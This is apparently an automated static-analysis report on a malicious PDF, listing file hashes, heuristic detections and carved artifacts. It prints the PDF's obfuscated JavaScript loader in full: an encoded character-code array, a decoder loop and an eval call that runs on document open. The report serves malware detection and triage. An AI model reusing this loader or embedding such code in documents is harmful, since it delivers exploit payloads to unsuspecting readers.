Malicious PDF — malware analysis report

Static analysis result for SHA-256 2b9a0a925ecb5f20…

MALICIOUS

PDF

19.4 KB Created: 2012-09-17 23:33:20 +04:00 Authoring application: Adobe Acrobat 10.0 (via Acrobat Web Capture 10.0) First seen: 2013-08-09
MD5: 9810bce713af21f093793f75e19e1890 SHA-1: 9f74feec8fe1c7eac137da770fcaad6747a4976e SHA-256: 2b9a0a925ecb5f20a5119800f15d8e460ff726e9c3d51087372a0a1b015eb782
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream, named 'javascript_obj0019_000.js', is obfuscated and uses String.fromCharCode, indicating an attempt to hide malicious code. The primary function of this script is likely to download and execute a second-stage payload from a remote source, which is a common technique for malware delivery. The presence of JavaScript actions and embedded JS streams strongly suggests a malicious intent, likely to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     s+=String.fromCharCode\(p\(a[i]+a[i2],30+1\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.iec.chIn PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0019_000.js pdf-javascript-stream PDF /JS object 19 at offset 0x2DE 8268 bytes
SHA-256: 3007160aab0c2a344da3bd7d287b69dfb9ddb364b9097625d4a45f61232349f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
xx='b';
a='353d3m3a1u18163o1p1k1n1n163o3936381l163o1p1m3936163o1o1m381l163o381q1k1l163o1k1k1m39163o1n1l361h163o1l1h1p35163o1p351k1h163o1h361l1h163o1o1h1p35163o1m1n1i36163o1o1n1p35163o1k1k1h1p163o1n1n3735163o1m381p35163o1h1k1k36163o1k1k1o1l163o1p1i1j36163o1i1m3838163o39391i1h163o351p3939163o1l1h1p35163o361k1k1h163o1k1q1l1n163o1o1m1h1n163o1p1o3935163o1j1l1k1l163o381l1p1m163o1m1i1o1m163o3835381q163o1m1i1l36163o1p351m1n163o1k361o1m163o1o1l1p35163o1o1p1k1m163o391m1h1k163o1p351m1n163o1j1h1o1n163o391m1h1k163o361q1k1k163o1l1i1l1q163o34373936163o361m1h1k163o37351k1k163o35381h39163o1k1p1i1h163o1o1l391j163o361i1h1p163o1h373635163o37341h1k163o38351l1h163o1k35391i163o1o1m1i39163o1m38381n163o1m381p35163o1h1k1j1l163o1n1n3737163o1h361p35163o1p371l35163o38361l1n163o1m1l3939163o1h361j1l163o371p1p35163o37371h1k163o1h1l1p35163o1h1k1p35163o3435361m163o1m1q1m38163o3835361k163o34371m1k163o1n1p1p35163o1p1h1j1h163o1h361o37163o1o1l1k1k163o1q1n1h1k163o391k3835163o1n1p1p35163o1p351h1p163o1n34391o163o1m1q1h1m163o1q1p381p163o39393939163o381j3939163o381p391q163o1h1h1h1h163o1h1h1h1h163o1m1h1m1p163o1l1h1n34163o39391n1p163o1h1h1h1h163o1m1h1h1h163o361h1p1k163o1m1h1i1q163o1p351m1m163o1p353836163o1i1h1m38163o361k1p1k163o39391h1m163o1n1p381k163o1n381n39163o1h1h1h1h163o1o1m1n1p163o1n361o1j163o1m1l1n37163o1i1n3939163o361l1p1k163o1p351h1p163o381p381p163o39391n1i163o39393939163o1h1j3835163o1o1j3835163o38361p1i163o1h1i1h1l163o1h1h1h1h163o1m361p37163o1h361j1l163o1h1l361o163o1o1j1j1l163o1n1o1n1m163o361o1o1k163o1j1l1l1l163o1o1n1h1l163o1k1k1o1j163o361o1k1j163o1j1l1l1l163o1j1h1h1p163o1o1k1j37163o1m1k1j1h163o391p1n1p163o1h1h1h1h163o39391h1h163o1h361m1n163o381p1p35163o361q1k1k163o361o1m1i163o1i371l1l163o1o1o1h1h163o1n1j1o1h163o361o1o1l163o1i371l1l163o1j381h1m163o1n361n1l163o361n1n36163o1i371l1l163o1h1h1h1q163o1p341m1q163o1h1l361i163o1p1p1k1h163o1i371l1l163o1l1i1h1l163o1n341m1i163o1n341h1h163o1m1k1h1h163o1n341m1o163o39391h1h163o1i1l1m1n163o361h1p1m163o1i1n1o1m163o1h1h1n34163o39391m1k163o1h1l1m1n163o1h1h1n34163o38351p1k163o1m1k1h36163o1m1n3939163o1p1k1h1l163o1h36361k163o1h1j3835163o1i1k3835163o1p1h1l1o163o1h1h1k39163o39341o1m163o1p1h1l1o163o1h1h1k39163o361l1o1m163o1h1h1n34163o39381n34163o1m1n3939163o381p1h1p163o39381q36163o39393939163o1l381p38163o38361h38163o39381q1p163o1h381p34163o1n391p1q163o35371h1i163o36341k1k163o1m351p34163o361n1i35163o1o1q1l1n163o1i341k1n163o1o1h1j39163o1o1l1n1p163o1o1h1o1l163o1j391k34163o1k1m1j39163o1n1n1k1h163o1k1n1k1q163o1k1i1n1m163o1k1j1k1i163o1k1o1n1i163o1n1m1n1n163o1n1n1j38163o1o1j1n39163o1o1n1n1m163o1o1j1n1m163o1o1m1n1p163o1n1o1n38163o1n1k1j38163o1n371n39163o1n381j39163o1o1o1n1m163o1j391o1k163o1n371m1k163o1n391n39163o1n1p1o1l163o1m1m1m39163o1n1l1n38163o1o1j1n1m163o1n391n1o163o1j381k1l163o1o1p1n1m163o1h1h1n1m163o1h1h1h1h181s393o3h363n3c3i3h11383t3p3l193l341d3k3s1a3u3q3'+xx+'3c3f38193l341f3f383h3a3n3'+xx+'1'+xx+'1j1t3k3s1a3u3l341c1u3l34413l341u3l341f3m3o353m3n3l3c3h3a191h1d3k3s1g1j1a1s3l383n3o3l3h113l3441393o3h363n3c3i3h11353r191a3u3p343l11373e3a1u3h383q11233l3l343s191a1s3p343l113p3q1u1h3r1h361h361h361h361s3p343l113437373l1u1h3r1l1h1h1h1h1h1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3p343l113m36323f383h1u3j343s3f3i34371f3f383h3a3n3'+xx+'1'+xx+'1j1s3p343l113k3s1u3437373l1e193m36323f383h1c1h3r1k1p1a1s3p343l113s343l3m3j1u3o3h383m36343j381913163o1q1h1q1h163o1q1h1q1h131a1s3s343l3m3j1u383t3p3l193s343l3m3j1d3k3s1a1s3p343l11363i3o3h3n1j1u193p3q1e1h3r1l1h1h1h1h1h1a1g3437373l1s393i3l193p343l11363i3o3h3n1u1h1s363i3o3h3n1t363i3o3h3n1j1s363i3o3h3n1c1c1a3u373e3a2t363i3o3h3n301u3s343l3m3j1c3j343s3f3i3437413p343l113i3p383l393f3i3q1u3o3h383m36343j381913163o1h361h36163o1h361h36131a1s3q3'+xx+'3c3f38193i3p383l393f3i3q1f3f383h3a3n3'+xx+'1t1l1l1q1m1j1a3u3i3p383l393f3i3q1c1u3i3p383l393f3i3q413n3'+xx+'3c3m1f363i3f3f34352l3n3i3l381u253i3f3f34351f363i3f3f38363n273g343c3f2'+xx+'3h393i193u3m3o353d1r13131d3g3m3a1r3i3p383l393f3i3q411a41393o3h363n3c3i3h113j3l3c3h3n39191a3u3h3i3j1u3o3h383m36343j381913163o1h231h23163o1h231h23163o1h231h23163o1h231h23131a1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3'+xx+'38343j353f3i363e1u3h3i3j1c3j343s3f3i34371s353c3a353f3i363e1u3o3h383m36343j381913163o1h231h23163o1h231h23131a1s3'+xx+'383437383l3m3c3t381u1j1h1s3m3j3l343s1u3'+xx+'383437383l3m3c3t381c3'+xx+'38343j353f3i363e1f3f383h3a3n3'+xx+'1s3q3'+xx+'3c3f3819353c3a353f3i363e1f3f383h3a3n3'+xx+'1t3m3j3l343s1a3u353c3a353f3i363e1c1u353c3a353f3i363e41393c3f3f353f3i363e1u353c3a353f3i363e1f3m3o353m3n3l3c3h3a191h1d3m3j3l343s1a1s353f3i363e1u353c3a353f3i363e1f3m3o353m3n3l3c3h3a191h1d353c3a353f3i363e1f3f383h3a3n3'+xx+'1e3m3j3l343s1a1s3q3'+xx+'3c3f3819353f3i363e1f3f383h3a3n3'+xx+'1c3m3j3l343s1t1h3r1l1h1h1h1h1a3u353f3i363e1u353f3i363e1c353f3i363e1c393c3f3f353f3i363e413g383g1u3h383q11233l3l343s191a1s393i3l193c1u1h1s3c1t1i1l1h1h1s3c1c1c1a3u3g383g2t3c301u353f3i363e1c3'+xx+'38343j353f3i363e413p343l113h3o3g1u1i1j1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1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s='';
if((event.name+'').substr(0,3)=='O'+'pe'){t=event;}
p=t.target['p'+'arseInt'];
for(i=0;i<a.length;i+=2){
	jj = 0;
	i2=i+1;
	s+=String.fromCharCode(p(a[i]+a[i2],30+1));
}
t.target[(xx=='b')?'eval':0](s);
icc_00_off000029e5.icc pdf-icc-profile PDF ICC profile at offset 0x29E5 408 bytes
SHA-256: 653b586c4707574ffcd648ba35494daed2c76ceafcf4c07d315ed961b1dc347f
icc_01_off00002c80.icc pdf-icc-profile PDF ICC profile at offset 0x2C80 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e